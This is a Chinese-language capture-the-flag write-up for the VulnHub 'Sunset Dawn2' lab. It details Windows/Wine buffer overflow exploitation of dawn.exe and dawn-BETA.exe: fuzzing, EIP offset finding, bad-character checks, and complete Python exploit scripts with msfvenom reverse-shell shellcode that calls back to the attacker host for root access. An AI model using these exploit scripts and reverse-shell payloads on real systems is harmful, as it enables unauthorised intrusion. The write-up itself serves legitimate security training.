考点:windows缓冲区溢出
靶机链接:https://www.vulnhub.com/entry/sunset-dawn2,424/
环境配置
名称 | IP |
---|
Kali Linux | 10.0.2.15 |
SUNSET DAWN2 | 10.0.2.7 |
Windows 调试机(Windows 7 X86) | 10.0.2.14 |
初步打点
端口扫描
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| $ export rip=10.0.2.7
$ sudo nmap -v -A -p- $rip
Scanning localhost (10.0.2.7) [65535 ports]
Discovered open port 80/tcp on 10.0.2.7
Discovered open port 1985/tcp on 10.0.2.7
Discovered open port 1435/tcp on 10.0.2.7
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.38 ((Debian))
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
1435/tcp open ibm-cics?
1985/tcp open hsrp?
2 services unrecognized despite returning data.
|
80端口发现可以下载个压缩包dawn.zip,解压发现dawn.exe
1435端口和10985端口通过nc连接后,均无回显,猜测是dawn.exe运行在这两个端口之一。
这个靶机应该是考windows缓冲区溢出的。而且,这个dawn.exe大概率是linux环境通过wine运行的。
漏洞发现
把dawn.exe复制到windows调试机,运行后,发现可输入一些字符。
1
2
3
4
| C:\Users\John>tasklist|findstr dawn
dawn.exe 2800 Console 1 2,232 K
C:\Users\John>netstat -ano|findstr 2800
TCP 0.0.0.0:1985 0.0.0.0:0 LISTENING 2800
|
由此判定靶机1985端口运行的大概率是dawn.exe
使用脚本进行调试
1
2
3
4
5
6
7
8
9
10
11
12
13
| #!/usr/bin/python2
import socket
import sys
import os
ip = "10.0.2.14"
port = 1985
buff = "A" * 300
nullByte = "\x00"
inputBuffer = buff + nullByte
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send(inputBuffer)
s.close()
|
运行后,dawn.exe 停止工作,说明存在缓冲区溢出漏洞。
获得权限
本地测试
继续测试
使用Immunity Debugger 打开dawn.exe并运行
使用msf-pattern_create生成字符串
1
2
| $ msf-pattern_create -l 300
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
|
📌确定位置
1
2
3
4
5
6
7
8
9
10
11
12
| #!/usr/bin/python2
import socket
import sys
import os
ip = "10.0.2.14"
port = 1985
buff = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9"
nullByte = "\x00"
inputBuffer = buff + nullByte
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send(inputBuffer)
|
运行后看到进程暂停,EIP为316A4130
使用msf-pattern_offset定位
1
2
| $ msf-pattern_offset -l 300 -q 316A4130
[*] Exact match at offset 272
|
再次使用Immunity Debugger 打开dawn.exe并运行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| #!/usr/bin/python2
import socket
import sys
import os
ip = "10.0.2.14"
port = 1985
buff = "A"*272
eip = "B" * 4
buffer = "C" * 24
nullByte = "\x00"
inputBuffer = buff + eip + buffer + nullByte
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send(inputBuffer)
|
EIP写入成功
shellcode长度一般需要500,加上前期测试的300,共800长度。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| #!/usr/bin/python2
import socket
import sys
import os
ip = "10.0.2.14"
port = 1985
buff = "A"*272
eip = "B" * 4
buffer = "C" * (800-len(buff) - len(eip))
nullByte = "\x00"
inputBuffer = buff + eip + buffer + nullByte
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send(inputBuffer)
|
测试后长度应该够写入shellcode的
📌查找坏字符
生成全字符
1
| !mona bytearray -cpb \x00
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| #!/usr/bin/python2
import socket
import sys
import os
ip = "10.0.2.14"
port = 1985
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
buff = "A"*272
eip = "B" * 4
buffer = badchars
nullByte = "\x00"
inputBuffer = buff + eip + buffer + nullByte
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send(inputBuffer)
|
1
| !mona compare -a esp -f "D:\Program Files\Immunity Inc\Immunity Debugger\bytearray.bin"
|
发现无坏字符
📌找位置
找出全false的进程文件dawn.exe
1
2
3
| $ msf-nasm_shell
nasm > jmp esp
00000000 FFE4 jmp esp
|
同理
1
2
3
| !mona find -s "\xff\xe4" -m "dawn.exe" #jmp esp
!mona find -s "\x54\xc3" -m "dawn.exe" #PUSH ESP; RET
!mona find -s "\xff\xd4" -m "dawn.exe" #CALL ESP
|
使用!mona find -s "\x54\xc3" -m "dawn.exe"
时找到34581777
倒序
1
| 34581777 → 77 17 58 34 → \x77\x17\x58\x34s
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| #!/usr/bin/python2
import socket
import sys
import os
ip = "10.0.2.14"
port = 1985
buff = "A"*272
eip = '\x77\x17\x58\x34'
nullByte = "\x00"
buffer = "C" * (800-len(buff) - len(eip))
inputBuffer = buff + eip + buffer + nullByte
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send(inputBuffer)
|
📌生成shellcode
使用Kali监听444端口
1
2
| # Windows
$ msfvenom -p windows/shell_reverse_tcp LHOST=10.0.2.15 LPORT=444 -f c -b "\x00\x0A\x0D\x25\x26\x2B\x3D" EXITFUNC=thread
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
| #!/usr/bin/python2
import socket
import sys
import os
ip = "10.0.2.14"
port = 1985
#34581777 \x77\x17\x58\x34
#345964BA
buf = ("\xb8\xe6\xe1\x99\x27\xda\xcd\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
"\x52\x31\x42\x12\x83\xc2\x04\x03\xa4\xef\x7b\xd2\xd4\x18\xf9"
"\x1d\x24\xd9\x9e\x94\xc1\xe8\x9e\xc3\x82\x5b\x2f\x87\xc6\x57"
"\xc4\xc5\xf2\xec\xa8\xc1\xf5\x45\x06\x34\x38\x55\x3b\x04\x5b"
"\xd5\x46\x59\xbb\xe4\x88\xac\xba\x21\xf4\x5d\xee\xfa\x72\xf3"
"\x1e\x8e\xcf\xc8\x95\xdc\xde\x48\x4a\x94\xe1\x79\xdd\xae\xbb"
"\x59\xdc\x63\xb0\xd3\xc6\x60\xfd\xaa\x7d\x52\x89\x2c\x57\xaa"
"\x72\x82\x96\x02\x81\xda\xdf\xa5\x7a\xa9\x29\xd6\x07\xaa\xee"
"\xa4\xd3\x3f\xf4\x0f\x97\x98\xd0\xae\x74\x7e\x93\xbd\x31\xf4"
"\xfb\xa1\xc4\xd9\x70\xdd\x4d\xdc\x56\x57\x15\xfb\x72\x33\xcd"
"\x62\x23\x99\xa0\x9b\x33\x42\x1c\x3e\x38\x6f\x49\x33\x63\xf8"
"\xbe\x7e\x9b\xf8\xa8\x09\xe8\xca\x77\xa2\x66\x67\xff\x6c\x71"
"\x88\x2a\xc8\xed\x77\xd5\x29\x24\xbc\x81\x79\x5e\x15\xaa\x11"
"\x9e\x9a\x7f\xb5\xce\x34\xd0\x76\xbe\xf4\x80\x1e\xd4\xfa\xff"
"\x3f\xd7\xd0\x97\xaa\x22\xb3\x9d\x2a\x2e\x4c\xca\x28\x2e\x53"
"\xb6\xa4\xc8\x39\xd6\xe0\x43\xd6\x4f\xa9\x1f\x47\x8f\x67\x5a"
"\x47\x1b\x84\x9b\x06\xec\xe1\x8f\xff\x1c\xbc\xed\x56\x22\x6a"
"\x99\x35\xb1\xf1\x59\x33\xaa\xad\x0e\x14\x1c\xa4\xda\x88\x07"
"\x1e\xf8\x50\xd1\x59\xb8\x8e\x22\x67\x41\x42\x1e\x43\x51\x9a"
"\x9f\xcf\x05\x72\xf6\x99\xf3\x34\xa0\x6b\xad\xee\x1f\x22\x39"
"\x76\x6c\xf5\x3f\x77\xb9\x83\xdf\xc6\x14\xd2\xe0\xe7\xf0\xd2"
"\x99\x15\x61\x1c\x70\x9e\x81\xff\x50\xeb\x29\xa6\x31\x56\x34"
"\x59\xec\x95\x41\xda\x04\x66\xb6\xc2\x6d\x63\xf2\x44\x9e\x19"
"\x6b\x21\xa0\x8e\x8c\x60")
buff = "A"*272
eip = '\x77\x17\x58\x34'
nullByte = "\x00"
nops = "\x90" * 24
inputBuffer = buff + eip + nops + buf + nullByte
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send(inputBuffer)
|
接收反弹成功
靶机测试
只修改IP,反弹shell成功后就断掉
实际靶机是linux系统,需要重新生成shellcode
1
2
| # Linux
$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.2.15 LPORT=444 -f python -b "\x00"
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| #!/usr/bin/python2
import socket
import sys
import os
ip = "10.0.2.7"
port = 1985
buf = b""
buf += b"\xba\x6e\x48\x71\x2c\xdb\xcd\xd9\x74\x24\xf4\x5e\x31"
buf += b"\xc9\xb1\x12\x31\x56\x12\x03\x56\x12\x83\xa8\x4c\x93"
buf += b"\xd9\x05\x96\xa4\xc1\x36\x6b\x18\x6c\xba\xe2\x7f\xc0"
buf += b"\xdc\x39\xff\xb2\x79\x72\x3f\x78\xf9\x3b\x39\x7b\x91"
buf += b"\xb1\xb9\x79\x6e\xae\xbb\x7d\x71\x92\x35\x9c\xc1\x8c"
buf += b"\x15\x0e\x72\xe2\x95\x39\x95\xc9\x1a\x6b\x3d\xbc\x35"
buf += b"\xff\xd5\x28\x65\xd0\x47\xc0\xf0\xcd\xd5\x41\x8a\xf3"
buf += b"\x69\x6e\x41\x73"
buff = "A"*272
eip = '\x77\x17\x58\x34'
nullByte = "\x00"
nops = "\x90" * 24
inputBuffer = buff + eip + nops + buf + nullByte
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send(inputBuffer)
|
提权
发现根目录有个dawn-BETA.exe,开发web并下载
运行dawn-BETA.exe发现
1
2
3
4
| C:\Users\John>tasklist|findstr dawn
dawn-BETA.exe 3764 Console 1 2,088 Ks
C:\Users\John>netstat -ano|findstr 3764
TCP 0.0.0.0:1435 0.0.0.0:0 LISTENING 3764
|
看来靶机上1435端口运行的是dawn-BETA.exe
同理重新来一遍
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| #!/usr/bin/python2
import socket
import sys
import os
ip = "10.0.2.7"
port = 1435
buf = b""
buf += b"\xba\x6e\x48\x71\x2c\xdb\xcd\xd9\x74\x24\xf4\x5e\x31"
buf += b"\xc9\xb1\x12\x31\x56\x12\x03\x56\x12\x83\xa8\x4c\x93"
buf += b"\xd9\x05\x96\xa4\xc1\x36\x6b\x18\x6c\xba\xe2\x7f\xc0"
buf += b"\xdc\x39\xff\xb2\x79\x72\x3f\x78\xf9\x3b\x39\x7b\x91"
buf += b"\xb1\xb9\x79\x6e\xae\xbb\x7d\x71\x92\x35\x9c\xc1\x8c"
buf += b"\x15\x0e\x72\xe2\x95\x39\x95\xc9\x1a\x6b\x3d\xbc\x35"
buf += b"\xff\xd5\x28\x65\xd0\x47\xc0\xf0\xcd\xd5\x41\x8a\xf3"
buf += b"\x69\x6e\x41\x73"
buff = "A"*13
eip = '\x13\x15\x50\x52'
nullByte = "\x00"
nops = "\x90" * 24
inputBuffer = buff + eip + nops + buf + nullByte
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send(inputBuffer)
|
获得root权限反弹shell
最后修改于 2020-02-15